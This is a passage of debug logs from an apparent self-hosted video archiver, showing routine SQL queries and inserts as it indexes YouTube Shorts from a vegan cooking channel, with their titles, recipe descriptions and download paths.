🍍🥥🍌 Vegan and only 4 ingredients! [c1m45pxs2GQ].NA", true, ~U[2022-08-12 15:50:03Z]] 20:27:39.184 [debug] QUERY OK source="sources" db=0.3ms idle=6.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:27:39.185 [debug] QUERY OK source="media_profiles" db=0.4ms queue=0.1ms idle=5.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:27:39.186 [debug] QUERY OK source="media_items" db=0.5ms idle=5.6ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [656] 20:27:39.186 [debug] Current batch of media processed. Will check again in 1000ms 20:27:40.187 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "BLUEBERRY NICE CREAM 🫐 🍨 by @steamyvegankitchen Easy, delicious and HEALTHY! 🌱\n\nIn case you missed it, it’s still blueberry season! 💙 So if you haven’t stocked up yet before they’re gone, go get some fresh blueberries! I love making ‘nice cream’ on hot summer days ☀️ All you need is:\n3 frozen bananas 🍌 — 1 cup frozen blueberries 🫐 — splash of nondairy milk — maple syrup 🍁 to sweeten! Add all the ingredients to a high-speed blender, and blend slowly with a tamper until it’s smooth like soft-serve. ENJOY and SAVE THIS FOR LATER! ✔️ \n\nI have a full-length YouTube video that dropped TODAY on the channel on how to make 3 flavours of BANANA NICE CREAM! Check it ✅ here: \nhttps://youtu.be/NG-i9_B_rmM", "duration" => 15, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-08-12 Easy and Healthy Blueberry ‘Ice Cream’ Recipe! 🫐🍨 Vegan and only 4 ingredients 🌱#youtubeshorts/Easy and Healthy Blueberry ‘Ice Cream’ Recipe! 🫐🍨 Vegan and only 4 ingredients 🌱#youtubeshorts [BkIHrCH-cCc].NA", "id" => "BkIHrCH-cCc", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/BkIHrCH-cCc", "playlist_index" => 268, "timestamp" => 1660268731, "title" => "Easy and Healthy Blueberry ‘Ice Cream’ Recipe! 🫐🍨 Vegan and only 4 ingredients 🌱#youtubeshorts", "upload_date" => "20220812"} 20:27:40.188 [debug] QUERY OK source="sources" db=0.5ms idle=1003.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:27:40.189 [debug] QUERY OK source="sources" db=0.5ms idle=1003.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:27:40.191 [debug] QUERY OK source="media_items" db=2.0ms idle=1003.8ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-08-12 01:45:31Z], 1] 20:27:40.193 [debug] QUERY OK source="media_items" db=1.0ms idle=1005.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["BLUEBERRY NICE CREAM 🫐 🍨 by @steamyvegankitchen Easy, delicious and HEALTHY! 🌱\n\nIn case you missed it, it’s still blueberry season! 💙 So if you haven’t stocked up yet before they’re gone, go get some fresh blueberries! I love making ‘nice cream’ on hot summer days ☀️ All you need is:\n3 frozen bananas 🍌 — 1 cup frozen blueberries 🫐 — splash of nondairy milk — maple syrup 🍁 to sweeten! Add all the ingredients to a high-speed blender, and blend slowly with a tamper until it’s smooth like soft-serve. ENJOY and SAVE THIS FOR LATER! ✔️ \n\nI have a full-length YouTube video that dropped TODAY on the channel on how to make 3 flavours of BANANA NICE CREAM! Check it ✅ here: \nhttps://youtu.be/NG-i9_B_rmM", "Easy and Healthy Blueberry ‘Ice Cream’ Recipe! 🫐🍨 Vegan and only 4 ingredients 🌱#youtubeshorts", "73565fc0-b008-43e2-8dab-a5f141c6fbc1", 1, [], 15, false, "BkIHrCH-cCc", "https://www.youtube.com/shorts/BkIHrCH-cCc", 268, "/downloads/downloads/alec/Steamy Vegan/2022-08-12 Easy and Healthy Blueberry ‘Ice Cream’ Recipe! 🫐🍨 Vegan and only 4 ingredients 🌱#youtubeshorts/Easy and Healthy Blueberry ‘Ice Cream’ Recipe! 🫐🍨 Vegan and only 4 ingredients 🌱#youtubeshorts [BkIHrCH-cCc].NA", false, false, true, 1, ~U[2022-08-12 01:45:31Z], ~U[2026-03-22 03:27:40Z], ~U[2026-03-22 03:27:40Z], "BLUEBERRY NICE CREAM 🫐 🍨 by @steamyvegankitchen Easy, delicious and HEALTHY! 🌱\n\nIn case you missed it, it’s still blueberry season! 💙 So if you haven’t stocked up yet before they’re gone, go get some fresh blueberries! I love making ‘nice cream’ on hot summer days ☀️ All you need is:\n3 frozen bananas 🍌 — 1 cup frozen blueberries 🫐 — splash of nondairy milk — maple syrup 🍁 to sweeten! Add all the ingredients to a high-speed blender, and blend slowly with a tamper until it’s smooth like soft-serve. ENJOY and SAVE THIS FOR LATER! ✔️ \n\nI have a full-length YouTube video that dropped TODAY on the channel on how to make 3 flavours of BANANA NICE CREAM! Check it ✅ here: \nhttps://youtu.be/NG-i9_B_rmM", "Easy and Healthy Blueberry ‘Ice Cream’ Recipe! 🫐🍨 Vegan and only 4 ingredients 🌱#youtubeshorts", 1, 15, false, "BkIHrCH-cCc", "https://www.youtube.com/shorts/BkIHrCH-cCc", "/downloads/downloads/alec/Steamy Vegan/2022-08-12 Easy and Healthy Blueberry ‘Ice Cream’ Recipe! 🫐🍨 Vegan and only 4 ingredients 🌱#youtubeshorts/Easy and Healthy Blueberry ‘Ice Cream’ Recipe! 🫐🍨 Vegan and only 4 ingredients 🌱#youtubeshorts [BkIHrCH-cCc].NA", true, ~U[2022-08-12 01:45:31Z]] 20:27:40.193 [debug] QUERY OK source="sources" db=0.4ms idle=976.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:27:40.194 [debug] QUERY OK source="media_profiles" db=0.3ms queue=0.1ms idle=5.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:27:40.195 [debug] QUERY OK source="media_items" db=0.5ms idle=5.3ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [657] 20:27:40.195 [debug] Current batch of media processed. Will check again in 1000ms 20:27:41.196 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "It's hot out there so we decided to make some cold vegan, non dairy banana nice cream. Stay tuned for all three vegan ice cream recipes which are launching Thursday on the channel!\n\nCheck out our vegan ice cream review video from last week here: https://youtu.be/rU4cirfns1Q", "duration" => 11, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-08-11 Cool your 💩 with some vegan banana nice cream! 🥶 #shorts #youtubeshorts/Cool your 💩 with some vegan banana nice cream! 🥶 #shorts #youtubeshorts [f8-chAd74xc].NA", "id" => "f8-chAd74xc", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/f8-chAd74xc", "playlist_index" => 269, "timestamp" => 1660181190, "title" => "Cool your 💩 with some vegan banana nice cream! 🥶 #shorts #youtubeshorts", "upload_date" => "20220811"} 20:27:41.198 [debug] QUERY OK source="sources" db=0.8ms idle=1004.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:27:41.199 [debug] QUERY OK source="sources" db=0.4ms idle=1004.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:27:41.201 [debug] QUERY OK source="media_items" db=2.2ms queue=0.1ms idle=1005.0ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-08-11 01:26:30Z], 1] 20:27:41.203 [debug] QUERY OK source="media_items" db=0.9ms queue=0.1ms idle=1007.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["It's hot out there so we decided to make some cold vegan, non dairy banana nice cream. Stay tuned for all three vegan ice cream recipes which are launching Thursday on the channel!\n\nCheck out our vegan ice cream review video from last week here: https://youtu.be/rU4cirfns1Q", "Cool your 💩 with some vegan banana nice cream! 🥶 #shorts #youtubeshorts", "96c9e848-06b0-437f-bae8-f9029d76295b", 1, [], 11, false, "f8-chAd74xc", "https://www.youtube.com/shorts/f8-chAd74xc", 269, "/downloads/downloads/alec/Steamy Vegan/2022-08-11 Cool your 💩 with some vegan banana nice cream! 🥶 #shorts #youtubeshorts/Cool your 💩 with some vegan banana nice cream! 🥶 #shorts #youtubeshorts [f8-chAd74xc].NA", false, false, true, 1, ~U[2022-08-11 01:26:30Z], ~U[2026-03-22 03:27:41Z], ~U[2026-03-22 03:27:41Z], "It's hot out there so we decided to make some cold vegan, non dairy banana nice cream. Stay tuned for all three vegan ice cream recipes which are launching Thursday on the channel!\n\nCheck out our vegan ice cream review video from last week here: https://youtu.be/rU4cirfns1Q", "Cool your 💩 with some vegan banana nice cream! 🥶 #shorts #youtubeshorts", 1, 11, false, "f8-chAd74xc", "https://www.youtube.com/shorts/f8-chAd74xc", "/downloads/downloads/alec/Steamy Vegan/2022-08-11 Cool your 💩 with some vegan banana nice cream! 🥶 #shorts #youtubeshorts/Cool your 💩 with some vegan banana nice cream! 🥶 #shorts #youtubeshorts [f8-chAd74xc].NA", true, ~U[2022-08-11 01:26:30Z]] 20:27:41.204 [debug] QUERY OK source="sources" db=0.7ms idle=985.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:27:41.205 [debug] QUERY OK source="media_profiles" db=0.4ms idle=6.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:27:41.206 [debug] QUERY OK source="media_items" db=0.6ms idle=6.4ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [658] 20:27:41.206 [debug] Current batch of media processed. Will check again in 1000ms 20:27:42.207 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "This week on the channel we're releasing a Lindt vegan milk chocolate bar review and taste test. Subscribe and get ready for all the delicious vegan chocolate bar fun!\n\n@LindtChocolateCanada", "duration" => 12, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-08-09 😱My reaction to a Lindt vegan milk chocolate bar 😱❤️/😱My reaction to a Lindt vegan milk chocolate bar 😱❤️ [fDH_ik_xTBY].NA", "id" => "fDH_ik_xTBY", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/fDH_ik_xTBY", "playlist_index" => 270, "timestamp" => 1660008837, "title" => "😱My reaction to a Lindt vegan milk chocolate bar 😱❤️", "upload_date" => "20220809"} 20:27:42.208 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=1004.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:27:42.209 [debug] QUERY OK source="sources" db=0.4ms idle=1004.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:27:42.211 [debug] QUERY OK source="media_items" db=1.9ms idle=1004.2ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-08-09 01:33:57Z], 1] 20:27:42.213 [debug] QUERY OK source="media_items" db=1.2ms idle=1006.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["This week on the channel we're releasing a Lindt vegan milk chocolate bar review and taste test. Subscribe and get ready for all the delicious vegan chocolate bar fun!\n\n@LindtChocolateCanada", "😱My reaction to a Lindt vegan milk chocolate bar 😱❤️", "8573073d-e1c6-4dad-8f2f-f57a2b6a5075", 1, [], 12, false, "fDH_ik_xTBY", "https://www.youtube.com/shorts/fDH_ik_xTBY", 270, "/downloads/downloads/alec/Steamy Vegan/2022-08-09 😱My reaction to a Lindt vegan milk chocolate bar 😱❤️/😱My reaction to a Lindt vegan milk chocolate bar 😱❤️ [fDH_ik_xTBY].NA", false, false, true, 1, ~U[2022-08-09 01:33:57Z], ~U[2026-03-22 03:27:42Z], ~U[2026-03-22 03:27:42Z], "This week on the channel we're releasing a Lindt vegan milk chocolate bar review and taste test. Subscribe and get ready for all the delicious vegan chocolate bar fun!\n\n@LindtChocolateCanada", "😱My reaction to a Lindt vegan milk chocolate bar 😱❤️", 1, 12, false, "fDH_ik_xTBY", "https://www.youtube.com/shorts/fDH_ik_xTBY", "/downloads/downloads/alec/Steamy Vegan/2022-08-09 😱My reaction to a Lindt vegan milk chocolate bar 😱❤️/😱My reaction to a Lindt vegan milk chocolate bar 😱❤️ [fDH_ik_xTBY].NA", true, ~U[2022-08-09 01:33:57Z]] 20:27:42.214 [debug] QUERY OK source="sources" db=0.4ms idle=991.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:27:42.214 [debug] QUERY OK source="media_profiles" db=0.4ms idle=5.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:27:42.215 [debug] QUERY OK source="media_items" db=0.3ms idle=5.6ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [659] 20:27:42.215 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Make your own pickled red cabbage! You can pickle almost any veggie and all you need is a few simple ingredients to make your own pickling brine:\n1 + 1/4 C water\n1 + 1/4 C white vinegar\n2 tsp salt\n1 tsp sugar\nMIX ABOVE INGREDIENTS IN A POT - BRING TO BOIL - POUR OVER CHOPPED VEG IN A GLASS JAR!\n\nWatch my other full-length videos on pickling below! \nHOW TO MAKE QUICK PICKLED JALAPEÑOS: https://youtu.be/_Va9Zy4IyNQ\nHOW TO MAKE QUICK PICKLED RED ONION: https://youtu.be/kmBLjqO1DM8", "duration" => 15, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-08-08 How to make pickled red cabbage! #shorts #youtubeshorts/How to make pickled red cabbage! #shorts #youtubeshorts [2K6zooy6s04].NA", "id" => "2K6zooy6s04", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/2K6zooy6s04", "playlist_index" => 271, "timestamp" => 1659978182, "title" => "How to make pickled red cabbage! #shorts #youtubeshorts", "upload_date" => "20220808"} 20:27:42.216 [debug] QUERY OK source="sources" db=0.5ms idle=4.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:27:42.216 [debug] QUERY OK source="sources" db=0.3ms idle=3.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:27:42.218 [debug] QUERY OK source="media_items" db=1.7ms queue=0.1ms idle=2.9ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-08-08 17:03:02Z], 1] 20:27:42.220 [debug] QUERY OK source="media_items" db=0.7ms idle=4.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Make your own pickled red cabbage! You can pickle almost any veggie and all you need is a few simple ingredients to make your own pickling brine:\n1 + 1/4 C water\n1 + 1/4 C white vinegar\n2 tsp salt\n1 tsp sugar\nMIX ABOVE INGREDIENTS IN A POT - BRING TO BOIL - POUR 